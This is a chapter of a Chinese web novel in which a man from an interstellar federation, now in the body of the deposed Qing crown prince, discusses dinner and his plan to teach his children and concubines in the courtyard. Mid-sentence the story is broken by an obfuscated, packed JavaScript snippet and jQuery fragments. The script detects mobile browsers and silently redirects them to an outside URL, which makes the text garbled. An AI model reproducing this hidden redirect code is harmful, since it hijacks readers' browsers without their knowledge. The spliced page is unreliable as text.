瓜尔佳氏布置好饭菜,回头瞥见陆仁嘉满脸凝重。
“是饭菜不合胃口吗?”
瓜尔佳氏叹了口气,“这里自然比不上东宫。但是爷,咱们如今这处境,哪儿有资格挑什么。您吃不惯也罢,但为了自个的身子,好歹吃点吧。”
“我不是这个意思。”陆仁嘉从沉思中分出神,知道被误会,赶忙解释。
然后他看见了桌上堆积如山的吃食。
这...这么多!
而且还都是非液体状的食物!
星际联邦什么都好,但食物极度匮乏。他小时候都是喝营养液的,只有跟身为统帅的父亲一起用餐时,才见过些原模原样的食物。
后来联邦战争越打越频繁,连父亲都开始顿顿都是营养液了。他也就再也没吃过非液体状的食物。
但在这里,这些东西都可以随意吃的吗?
而且,这些竟然还是原身身份跌落后的待遇吗?那他之前过的到底有多奢靡啊!
无怪于陆仁嘉不习惯,任何人看见一大盆的猪牛羊肉各种肉类,以及十几种蔬菜果品堆满一张超大圆桌的时候,都会震惊到合不拢嘴的。
清宫的食物从来算不上精细,但是胜在量大管饱。
尽管胤礽现在的身份不比从前,从太子骤然被降为二阿哥。
但谁让他有个儿宝爹康熙呢?
康熙虽然废了他的太子位,但内心还是放不下性宠了多年的儿子,故而特意交代过内务府,东宫虽然被废,但待遇不得削减,仍照往常旧例。
所以即使这御膳房有心想怠慢咸安宫这里,也无非是口味和花样上做的比往常差上许多罢了,分例是绝不敢克扣一点点的。
瓜尔佳氏没再多问,帮陆仁嘉盛了碗饭递给他,“爷没有觉得不适就好,用膳吧。”
陆仁嘉呆呆接过,顺其自然先夹了一口离自己最近的肉,在瓜尔佳氏关切的眼神中,咀嚼了两下。
他眼前一亮。
这么丰富的油脂感,虽然嚼上去有些干硬,但对比从前那些毫无味道的营养液来说,已经是十分美味了!
陆仁嘉食指大动,一口一口停不下来。
他动了筷子,妾室和孩子们才跟着动起来。
如今伺候的人少了,各自想吃什么也只能自己动手。妾室们受惯了规矩约束不敢夹离自己太远的菜,但孩子们从心的本性还没有被压制,所以吃饭时都还很积极。
故而咸安宫的这顿晚饭,倒意外的没有什么沉重气氛,反而在陆仁嘉的带动下,热闹了许多。
瓜尔佳氏不时给陆仁嘉夹些菜,看他眼神中一派欣喜之色,内心也不免觉得宽慰,也跟着多用了不少。
还是那句话,日子总归要过下去的。
陆仁嘉吃到半饱,终于抽空抬起头跟瓜尔佳氏说:“有件事我想跟你商量一下。”
话音一落,气氛瞬间凝滞,满桌子人都停了筷子。
陆仁嘉看瓜尔佳氏震惊的看着自己,还有些摸不着头脑,“怎么了?”
“爷...”瓜尔佳氏确实有些吓到了。
食不言,寝不语是老祖宗传下的规矩。爷以前是最看重这些的。如今怎么自己先坏了规矩?
是心境消沉才如此吗?可看他方才的胃口,着实又不像。
“我脸上有东西?”陆仁嘉摸了下自己的脸。
没黏上什么啊?她们怎么都这么看着自己?
瓜尔佳氏回过神,放下碗筷认真看着他,“爷想说什么?”
都落到这地方了,什么规矩不规矩的。
陆仁嘉被一桌子人十几双眼睛一起看着,后知后觉的意识到,他好像把从前的习惯又带出来,做了不合时宜的事情。
联邦境内有几十亿的人口,每天都有接连不断的麻烦事。他跟父亲和其他几十个执政官一起开会,经常要连续开上一整天。
所以大家在饭桌上边吃边说,也是常有的事。
但在这里,好像不行啊。
陆仁嘉清了清嗓子掩饰尴尬,“先吃饭,吃完再说吧。”
瓜尔佳氏缓过劲,用帕子擦了擦嘴,温和道:“爷既然开口了,不如索性说完吧。”
有人递台阶,陆仁嘉也下的很快,马上放下碗筷道,“我想着,虽然咱们出不去了,但是孩子们的功课也不能拉下,还是要继续学的。”
教育是大事,不能让这正该入学的孩子们荒废学业啊。条件或许苦了点,但是学习绝对不能落下!
“爷想跟汗阿玛请旨,让孩子们出去读书?”瓜尔佳氏有些迟疑。
汗阿玛虽然宽宥,但是读书这事,估计一时半会也不会答应吧?而且就算孩子们出去了,又该怎么面对其他阿哥的孩子们呢?孩子们又会不会因为自家阿玛的事儿,被他们鄙夷欺负?
虽然明面上或许不会,但那种孤立、疏远、敬而远之的态度,也不比直接的刻薄对待好到哪儿去。
想到有人会看不起她的女儿,瓜尔佳氏下意识把手搭在了陆仁嘉的手腕上,语气也透出紧张,“爷,此事还是从长计议吧,咱们毕竟刚刚圈禁,现在说孩子们的事儿,汗阿玛恐怕也为难。”
“你我都清楚,他们出不去的。”陆仁嘉摇摇头。
守着门的人对他都分外严肃,可想而外面的那些人对这些孩子们会是什么态度。
“咱们现在也不能让外人教他们,这样的话还不如我亲自来。”
他想了一下午,还以为自己最先该努力的,是想办法赚钱赚口粮,满足一大家子的基本生活。
现在看,这些孩子虽然失去了自由,但吃穿是肯定不用发愁了。
他也下定决心要好好养大这些孩子,那至少该给的关爱,该进行的教育,最起码还是要给到的。
陆仁嘉说完,两桌的孩子们没什么反应,妾室们倒有些惊喜。
她们大部分人都比瓜尔佳氏乐观些,都觉得既然有过一次复位,那她们将来未必没有被放出去的时候。
若是孩子们能坚持读书,那一家子都出去后,至少他们不会跟外面那些府邸的皇孙差太多。
“可是...院子里也辟不出其他的屋子了。”瓜尔佳氏满脸无奈。
家里人太多,屋子住的本来就挤,几个原本位分低已经合住一个屋子里了。饶是如此,住的地方还是勉强。
说到此,瓜尔佳氏略带不满的撇了陆仁嘉一眼。
陆仁嘉心底咕哝,又不是他要娶这么多女人的,怪也该怪本来那个。
但是他不能抱怨,只能装作没看到,反而装作一脸坦然的看着瓜尔佳氏,“那就在院子里如何?”
那么大的院子呢,空着不可惜了吗?
“可是没有书桌可用呢。”
陆仁嘉不觉得这是个问题,“就当考验他们的记性吧,即便什么都有,能学多少到底要看他们的资质的。”
从前父亲为了让他清楚记住各种武器的配置,亲自带他到了最前线,让他看着士兵打仗的同时,去逼迫他记住各种武器、记兵力、记布阵和指挥官的战术操作。
那种强压环境下,确实比安静的环境更让他记忆清晰。
所以有没有安静的环境,压根也不是能不能学习的关键阻碍吧?
听到此,瓜尔佳氏思考了片刻,终于颔首认可了陆仁嘉的想法,“那就依爷所言,左右都是咱们一家子,也不拘分什么男女席了,就让他们都聚在一处学吧。”
“本该如此。”陆仁嘉对这话很满意。
“吃饭。”说完他直接又端起碗,又大口吃了起来。
瓜尔佳氏看着他的侧脸若有所思。
本以为被废对爷打击很大,但他似乎对目前处境没什么不适,至少比上次的心态强的多了。
这样似乎,也不错。
“对了”陆仁嘉环视一圈,又补充道,“既然是在院子里教他们,你们若是想学也可以来旁听。”
“我们也学?”瓜尔佳氏更加震惊。
只过了一下午,他竟然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575128|171535||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已经想开到这个地步了?
陆仁嘉温和道:“不勉强,看你们自己。”
联邦所有公民都必须接受教育,早就写进法律。但是这里似乎男女地位差别很大。他不确定自己强制要求所有人都学,会不会给这些女孩子们带来困扰,所以还不如随她们自己。
反正他的课堂就摆在院子里,谁要是有兴趣旁听,他也不会赶人就是了。
陆仁嘉边说,边看全桌人越练越严肃的脸色,本以为说完不会有响应者。
但几乎是话音落地的瞬间,隔壁桌立刻响起一道柔弱的声音:“爷,奴才想跟着您学。”
瓜尔佳氏先看过去,是个姓祁的妾室,并没有位分,之前在东宫时安静本分,很少有出来露脸的时候。若不是刚才那句话,她都记不清这祁氏长什么模样了。
先前竟然没有看出来,她竟然还是个有几分胆量的。
祁氏说完,又有几个妾室接连福身行礼道:“爷,奴才也想跟着一道学。”
“奴才愚笨,也想跟着长点见识,只求爷别嫌弃。”
“爷的学问最好,能跟您读圣贤书,是奴才的福分。”
陆仁嘉有些惊喜。
没想到这里有这么多爱学习的女孩!
但余光瞥见瓜尔佳氏的脸色,立刻意识到了什么。额...他好像有点自作主张了。
好像,最起码应该先征询一下正室的意见?
想到这个,陆仁嘉没有直接答应她们,而是先问瓜尔佳氏,“先前没与你商量是我不好。她们几个能出来跟着孩子们一道学吗?”
瓜尔佳氏心里确实有点不太舒坦。
孩子们就算了,妾室们也要出来,多少还是有些坏规矩。而且她也不确定,她们到底是有几分真心,还是变了个手段争宠?
她回头看陆仁嘉。
这双眼睛没有她预想中的压迫和威严,反而很澄澈,很真诚。
所以他是真的很想知道她的心思?
瓜尔佳氏心里猜测着,面上却露出得体的微笑,“爷做主就是了。只是有一样,她们想学是好事,但离的太近,怕是会让孩子们分心。”
“若是爷诚心想带着她们,不如就叫她们依着自己的心思,真心想学的,站远些旁听也能学到。反倒是是特意加位置招她们过去,怕会弄巧成拙,显得爷强逼着她们。”
陆仁嘉仔细想了想,这话也有几分道理。
毕竟大家资质有差别,这些女孩们或许就是一时兴起,他要是同意她们都进课堂,恐怕下意识也会按照对孩子的要求看她们。
传道授业是正道,但若强逼谁一定要学到多少,或许就太不近人情了。
想罢这些,陆仁嘉对几个行礼的女孩郑重道:“咱们这课堂布置的粗陋,你们若是跟着一道,坐在什么地方别由着自己,先都听夫人安排。期间有哪里不懂,或是觉得跟不上想退出的,也都先跟夫人说清楚。懂了吗?”
几个先前积极的妾室忙一齐行礼:“悉听夫人安排。”
瓜尔佳氏内心很受触动。
胤礽原先对她只是相敬如宾,鲜少有这样敬重的时候。
心里好受了,瓜尔佳氏对妾室们态度就更加宽容。
她先笑着对几人颔首道,“都起来吧,咱们是一家子,不必这么拘束。”然后又对陆仁嘉建议说:“从前我也问不到前头去,这些孩子们都学到什么程度了,恐怕还得爷亲自考教了。”
陆仁嘉端起了碗,嘴上答应的痛快,“行啊,吃完饭我挨个问问他们。”
事情定下来,一桌人包括陆仁嘉在内,都不再讨论什么,沉默着用完了晚膳。
陆仁嘉虽直觉气氛有点怪异,但他的注意力很快就被一桌子饭食吸引住了。
吃饱之后,他又专注的先在脑中设定了计划,想安排好怎么预定孩子们学习的进度。
但是他很快就发现,教书育人这事上吧,他预想的有些太美好。
他自己也真是有点,太天真了。